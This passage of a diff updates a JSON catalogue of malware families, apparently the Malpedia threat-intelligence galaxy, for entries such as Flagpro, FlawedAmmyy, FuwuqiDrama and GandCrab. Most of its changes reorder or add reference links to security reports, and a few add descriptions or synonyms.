"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126b", "https://www.cisa.gov/uscert/ncas/alerts/aa22-249a", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://www.crowdstrike.com/blog/new-ransomware-variant-uses-golang-packer/", - "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", - "https://www.bleepingcomputer.com/news/security/yanluowang-ransomware-operation-matures-with-experienced-affiliates/" + "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire" ], "synonyms": [ "Thieflock" @@ -24792,16 +25936,16 @@ "value": "FiveHands" }, { - "description": "", + "description": "According to PICUS, Flagpro is malware that collects information from the victim and executes commands in the victim\u2019s environment. It targets Japan, Taiwan, and English-speaking countries. When a victim is infected with Flagpro malware, the malware can do the following:\r\n\r\nDownload and execute a tool\r\nExecute OS commands and send results\r\nCollect and send Windows authentication information", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.flagpro", - "https://cyberandramen.net/2021/12/12/more-flagpro-more-problems/", - "https://insight-jp.nttsecurity.com/post/102h7vx/blacktechflagpro", "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech", + "https://cyberandramen.net/2021/12/12/more-flagpro-more-problems/", + "https://jp.security.ntt/resources/EN-BlackTech_2021.pdf", + "https://insight-jp.nttsecurity.com/post/102h7vx/blacktechflagpro", "https://vblocalhost.com/uploads/VB2021-50.pdf", - "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_8_hara_en.pdf", - "https://jp.security.ntt/resources/EN-BlackTech_2021.pdf" + "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_8_hara_en.pdf" ], "synonyms": [ "BUSYICE" @@ -24817,13 +25961,13 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.flame", "https://securelist.com/the-flame-questions-and-answers-51/34344/", - "https://storage.googleapis.com/chronicle-research/Flame%202.0%20Risen%20from%20the%20Ashes.pdf", - "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", "https://github.com/juanandresgs/papers/raw/master/Flame%202.0%20Risen%20from%20the%20Ashes.pdf", - "https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache", "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", - "https://www.crysys.hu/publications/files/skywiper.pdf" + "https://www.crysys.hu/publications/files/skywiper.pdf", + "https://storage.googleapis.com/chronicle-research/Flame%202.0%20Risen%20from%20the%20Ashes.pdf", + "https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache", + "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf" ], "synonyms": [ "sKyWIper" @@ -24838,8 +25982,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.flashflood", - "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", + "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf" ], "synonyms": [], "type": [] @@ -24852,28 +25996,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedammyy", - "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", - "https://threatrecon.nshc.net/2019/08/29/sectorj04-groups-increased-activity-in-2019/", - "https://habr.com/ru/company/pt/blog/475328/", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://intel471.com/blog/a-brief-history-of-ta505", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - "https://web.archive.org/web/20161223002016/https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks", + "https://www.youtube.com/watch?v=N4f2e8Mygag", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat", "https://www.proofpoint.com/us/threat-insight/post/leaked-source-code-ammyy-admin-turned-flawedammyy-rat", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505/", - "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", - "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shifruvalnika-ta-nanesenni-inozemnim-kompaniyam-piv-milyarda-dolariv-zbitkiv/", - "https://www.proofpoint.com/us/threat-insight/post/ta505-begins-summer-campaigns-new-pet-malware-downloader-andromut-uae-south", - "https://blog.trendmicro.com/trendlabs-security-intelligence/ta505-at-it-again-variety-is-the-spice-of-servhelper-and-flawedammyy/", - "https://secrary.com/ReversingMalware/AMMY_RAT_Downloader/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://attack.mitre.org/software/S0381/", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", "https://www.sans.org/reading-room/whitepapers/reverseengineeringmalware/unpacking-decrypting-flawedammyy-38930", + "https://threatrecon.nshc.net/2019/08/29/sectorj04-groups-increased-activity-in-2019/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/ta505-at-it-again-variety-is-the-spice-of-servhelper-and-flawedammyy/", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.youtube.com/watch?v=N4f2e8Mygag", + "https://www.proofpoint.com/us/threat-insight/post/ta505-begins-summer-campaigns-new-pet-malware-downloader-andromut-uae-south", "https://www.secureworks.com/research/threat-profiles/gold-tahoe", - "https://intel471.com/blog/a-brief-history-of-ta505" + "https://attack.mitre.org/software/S0381/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505/", + "https://secrary.com/ReversingMalware/AMMY_RAT_Downloader/", + "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", + "https://habr.com/ru/company/pt/blog/475328/", + "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", + "https://web.archive.org/web/20161223002016/https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks", + "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shifruvalnika-ta-nanesenni-inozemnim-kompaniyam-piv-milyarda-dolariv-zbitkiv/" ], "synonyms": [], "type": [] @@ -24886,22 +26030,25 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedgrace", - "https://www.proofpoint.com/us/blog/threat-insight/whatta-ta-ta505-ramps-activity-delivers-new-flawedgrace-variant", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.msreverseengineering.com/blog/2021/3/2/an-exhaustively-analyzed-idb-for-flawedgrace", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-tahoe", - "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", "https://intel471.com/blog/a-brief-history-of-ta505", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/", + "https://thedfirreport.com/2023/06/12/a-truly-graceful-wipe-out/", + "https://www.proofpoint.com/us/blog/threat-insight/whatta-ta-ta505-ramps-activity-delivers-new-flawedgrace-variant", + "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", "https://www.msreverseengineering.com/blog/2019/1/14/a-quick-solution-to-an-ugly-reverse-engineering-problem", + "https://blog.codsec.com/posts/malware/gracewire_adventure/", "https://research.nccgroup.com/2021/12/01/tracking-a-p2p-network-related-with-ta505/", - "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505", + "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/", + "https://www.msreverseengineering.com/blog/2021/3/2/an-exhaustively-analyzed-idb-for-flawedgrace", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://twitter.com/MsftSecIntel/status/1273359829390655488" + "https://www.secureworks.com/research/threat-profiles/gold-tahoe", + "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505", + "https://web.archive.org/web/20221115161556/https://blog.codsec.com/posts/malware/gracewire_adventure/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://twitter.com/MsftSecIntel/status/1273359829390655488", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf" ], "synonyms": [ "GraceWire" @@ -24929,12 +26076,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.floki_bot", - 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"https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/", - "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/everis-bitpaymer-ransomware-attack-analysis-dridex/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.armor.com/resources/threat-intelligence/the-evolution-of-doppel-spider-from-bitpaymer-to-grief-ransomware/", + "https://www.secureworks.com/research/threat-profiles/gold-drake", "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/", + "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp", + "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://sites.temple.edu/care/ci-rw-attacks/", + "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks/", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/", + "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp" + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/everis-bitpaymer-ransomware-attack-analysis-dridex/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/account-with-admin-privileges-abused-to-install-bitpaymer-ransomware-via-psexec", + "http://www.secureworks.com/research/threat-profiles/gold-drake", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf" ], "synonyms": [ "BitPaymer", @@ -25262,13 +26416,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fudmodule", - "https://asec.ahnlab.com/wp-content/uploads/2022/09/Analysis-Report-on-Lazarus-Groups-Rootkit-Attack-Using-BYOVD_Sep-22-2022.pdf", - "https://securityintelligence.com/posts/direct-kernel-object-manipulation-attacks-etw-providers/", "https://securityintelligence.com/posts/defensive-considerations-lazarus-fudmodule/", + "https://www.mandiant.com/resources/blog/lightshift-and-lightshow", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2022/papers/VB2022-Lazarus-and-BYOVD-evil-to-the-Windows-core.pdf", + "https://securityintelligence.com/posts/direct-kernel-object-manipulation-attacks-etw-providers/", "https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2022/papers/VB2022-Lazarus-and-BYOVD-evil-to-the-Windows-core.pdf" + "https://asec.ahnlab.com/wp-content/uploads/2022/09/Analysis-Report-on-Lazarus-Groups-Rootkit-Attack-Using-BYOVD_Sep-22-2022.pdf" + ], + "synonyms": [ + "LIGHTSHOW" ], - "synonyms": [], "type": [] }, "uuid": "49b53f39-3e13-48e7-a2e3-5e173af343b3", @@ -25292,11 +26449,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.funnyswitch", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf", "https://speakerdeck.com/aragorntseng/winnti-is-coming-evolution-after-prosecution-at-hitcon2021", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/#id5-2", - "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf" + "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", + "https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf" ], "synonyms": [ "RouterGod" @@ -25312,10 +26470,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.funny_dream", "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://nao-sec.org/2021/01/royal-road-redive.html", "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-1208.pdf", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" + "https://go.recordedfuture.com/hubfs/reports/cta-2021-1208.pdf" ], "synonyms": [], "type": [] @@ -25349,13 +26507,26 @@ "uuid": "5de632a3-bf82-4cef-90fa-e7199fdb932c", "value": "FusionDrive" }, + { + "description": "FuwuqiDrama is a server-side RAT. It manages client connections by utilizing I/O completion ports, which are usually used in high-performance server applications as an elegant solution to manage many clients at once.\r\n\r\nIt contains two distinguishing hardcoded lists.\r\n\r\nFirst is a list of ~50 video files of South Korean TV series, having their titles translated to Mandarin Chinese, but encoded in the form of Pinyin romanization. That means the sounds are spelled in Latin alphabet without tone marks, for example meiyounihuobuxiaqu.avi represents Can't Live Without You (a K-drama from 2012) or wulalafufu.avi translates to Ohlala Couple (also from 2012). \r\n\r\nSecond is the list of the following corporations: NVIDIA, Amazon, Intel, Skype, 360Safe, Rising, Tencent, Mozilla, Adobe, Yahoo, Google. The same list is contained in some of the WannaCryptor samples.\r\n\r\nFuwuqiDrama stores its configuration in the INI file data\\package_con_x86.cat. It contains the port number and a bot identifier, all within a single section called Fuwuqi \u2013 the romanized Chinese word for server.\r\n", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.fuwuqidrama", + "https://www.virusbulletin.com/uploads/pdf/magazine/2018/VB2018-Kalnai-Poslusny.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "9284445c-96a8-445d-8e9d-93a093ffbe63", + "value": "FuwuqiDrama" + }, { "description": "FuxSocy has some similarities to win.cerber but is tracked as its own family for now.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fuxsocy", - "http://id-ransomware.blogspot.com/2019/10/fuxsocy-encryptor-ransomware.html", - "https://www.bleepingcomputer.com/news/security/new-fuxsocy-ransomware-impersonates-the-notorious-cerber/" + "https://www.bleepingcomputer.com/news/security/new-fuxsocy-ransomware-impersonates-the-notorious-cerber/", + "http://id-ransomware.blogspot.com/2019/10/fuxsocy-encryptor-ransomware.html" ], "synonyms": [], "type": [] @@ -25420,21 +26591,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_p2p", + "http://www.syssec-project.eu/m/page-media/3/zeus_malware13.pdf", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf", + "https://www.cert.pl/wp-content/uploads/2015/12/2013-06-p2p-rap_en.pdf", "https://www.justice.gov/opa/pr/us-leads-multi-national-action-against-gameover-zeus-botnet-and-cryptolocker-ransomware", + "https://nbviewer.org/github/tildedennis/zeusmuseum/blob/master/jupyter_notebooks/gameover/2014-05-28/Gameover%20version%202014-05-28.ipynb", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://www.lawfareblog.com/what-point-these-nation-state-indictments", + "https://www.wired.com/?p=2171700", + "https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/", "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", - "https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/", "https://www.blackhat.com/docs/us-15/materials/us-15-Peterson-GameOver-Zeus-Badguys-And-Backends.pdf", - "https://www.cert.pl/wp-content/uploads/2015/12/2013-06-p2p-rap_en.pdf", - "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group", - "https://www.wired.com/?p=2171700", - "https://web.archive.org/web/20141016080249/http://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware", "https://www.intel471.com/blog/cybercrime-russia-china-iran-nation-state", "https://www.wired.com/2017/03/russian-hacker-spy-botnet/", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf", - "https://www.lawfareblog.com/what-point-these-nation-state-indictments", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", - "http://www.syssec-project.eu/m/page-media/3/zeus_malware13.pdf" + "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group", + "https://web.archive.org/web/20141016080249/http://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware" ], "synonyms": [ "GOZ", @@ -25473,68 +26645,68 @@ "value": "Gamotrol" }, { - "description": "GandCrab was a Ransomware-as-a-Service (RaaS) emerged in January 28, 2018, managed by a criminal organization known to be confident and vocal, while running a rapidly evolving ransomware campaign. Through their aggressive, albeit unusual, marketing strategies and constant recruitment of affiliates, they were able to globally distribute a high volume of their malware.\r\n\r\nIn a surprising announcement on May 31, 2019, the GandCrab’s operators posted on a dark web forum, announced the end of a little more than a year of ransomware operations, citing staggering profit figures. However, If there’s one thing that sets these threat actors apart from other groups, it is that they are unpredictable; so there is always the possibility that they might re-surface in one form or another.", + "description": "GandCrab was a Ransomware-as-a-Service (RaaS) emerged in January 28, 2018, managed by a criminal organization known to be confident and vocal, while running a rapidly evolving ransomware campaign. Through their aggressive, albeit unusual, marketing strategies and constant recruitment of affiliates, they were able to globally distribute a high volume of their malware.\r\n\r\nIn a surprising announcement on May 31, 2019, the GandCrab\u2019s operators posted on a dark web forum, announced the end of a little more than a year of ransomware operations, citing staggering profit figures. However, If there\u2019s one thing that sets these threat actors apart from other groups, it is that they are unpredictable; so there is always the possibility that they might re-surface in one form or another.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gandcrab", - "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://unit42.paloaltonetworks.com/revil-threat-actors/", - "https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html", - "http://www.vmray.com/cyber-security-blog/gandcrab-ransomware-evolution-analysis/", + "https://sensorstechforum.com/killswitch-file-now-available-gandcrab-v4-1-2-ransomware/", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://www.advanced-intel.com/post/the-dark-web-of-intrigue-how-revil-used-the-underground-ecosystem-to-form-an-extortion-cartel", - "https://vimeo.com/449849549", - "https://asec.ahnlab.com/en/41450/", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", - "https://news.sophos.com/en-us/2019/05/24/gandcrab-spreading-via-directed-attacks-against-mysql-servers/", + "https://blog.malwarebytes.com/threat-analysis/2019/01/vidar-gandcrab-stealer-and-ransomware-combo-observed-in-the-wild/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", "https://www.fortinet.com/blog/threat-research/gandcrab-threat-actors-retire.html", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html", + "https://asec.ahnlab.com/en/41450/", + "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/", + "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://www.advanced-intel.com/post/inside-revil-extortionist-machine-predictive-insights", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/", + "https://news.sophos.com/en-us/2019/03/05/gandcrab-101-all-about-the-most-widely-distributed-ransomware-of-the-moment/", + "https://www.crowdstrike.com/blog/the-evolution-of-revil-ransomware-and-pinchy-spider/", + "https://unit42.paloaltonetworks.com/revil-threat-actors/", + "https://www.virusbulletin.com/virusbulletin/2019/11/vb2019-paper-different-ways-cook-crab-gandcrab-ransomware-service-raas-analysed-indepth/", + "https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/", + "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-operator-arrested-in-belarus/", + "https://www.youtube.com/watch?v=LUxOcpIRxmg", "https://tccontre.blogspot.com/2018/11/re-gandcrab-downloader-theres-more-to.html", "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", - "https://www.advanced-intel.com/post/inside-revil-extortionist-machine-predictive-insights", - "https://teamt5.org/en/posts/introducing-the-most-profitable-ransomware-revil/", - "https://www.secureworks.com/research/threat-profiles/gold-garden", - "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-shutting-down-after-claiming-to-earn-25-billion/", - "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-operator-arrested-in-belarus/", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", - "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", - "https://www.virusbulletin.com/virusbulletin/2019/11/vb2019-paper-different-ways-cook-crab-gandcrab-ransomware-service-raas-analysed-indepth/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", - "https://krebsonsecurity.com/2019/07/whos-behind-the-gandcrab-ransomware/", - "https://sensorstechforum.com/killswitch-file-now-available-gandcrab-v4-1-2-ransomware/", - "http://www.secureworks.com/research/threat-profiles/gold-garden", - "https://labs.bitdefender.com/2019/02/new-gandcrab-v5-1-decryptor-available-now/", - "https://hotforsecurity.bitdefender.com/blog/belarus-authorities-arrest-gandcrab-ransomware-operator-23860.html", - "https://news.sophos.com/en-us/2019/03/05/gandcrab-101-all-about-the-most-widely-distributed-ransomware-of-the-moment/", - "http://asec.ahnlab.com/1145", - "https://web.archive.org/web/20190331091056/https://myonlinesecurity.co.uk/fake-cdc-flu-pandemic-warning-delivers-gandcrab-5-2-ransomware/", - "https://www.europol.europa.eu/newsroom/news/pay-no-more-universal-gandcrab-decryption-tool-released-for-free-no-more-ransom", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://labs.bitdefender.com/2018/02/gandcrab-ransomware-decryption-tool-available-for-free/", - "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-being-distributed-via-malspam-disguised-as-receipts/", - "https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/", - "https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", - "https://blog.talosintelligence.com/2018/05/gandcrab-compromised-sites.html", - "https://labs.bitdefender.com/2019/06/good-riddance-gandcrab-were-still-fixing-the-mess-you-left-behind", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://www.scmagazine.com/home/security-news/ransomware/gandcrab-ransomware-operators-put-in-retirement-papers/", "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", - "https://www.crowdstrike.com/blog/the-evolution-of-revil-ransomware-and-pinchy-spider/", + "https://news.sophos.com/en-us/2019/05/24/gandcrab-spreading-via-directed-attacks-against-mysql-servers/", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", + "http://www.secureworks.com/research/threat-profiles/gold-garden", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://vimeo.com/449849549", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://blog.malwarebytes.com/threat-analysis/2018/01/gandcrab-ransomware-distributed-by-rig-and-grandsoft-exploit-kits/", - "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/", - "https://www.virusbulletin.com/virusbulletin/2020/01/behind-scenes-gandcrabs-operation/", - "https://blog.malwarebytes.com/threat-analysis/2019/01/vidar-gandcrab-stealer-and-ransomware-combo-observed-in-the-wild/", - "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", - "https://intel471.com/blog/a-brief-history-of-ta505", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://labs.bitdefender.com/2019/06/good-riddance-gandcrab-were-still-fixing-the-mess-you-left-behind", + "https://hotforsecurity.bitdefender.com/blog/belarus-authorities-arrest-gandcrab-ransomware-operator-23860.html", + "https://krebsonsecurity.com/2019/07/whos-behind-the-gandcrab-ransomware/", "https://isc.sans.edu/diary/23417", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/" + "http://asec.ahnlab.com/1145", + "https://www.europol.europa.eu/newsroom/news/pay-no-more-universal-gandcrab-decryption-tool-released-for-free-no-more-ransom", + 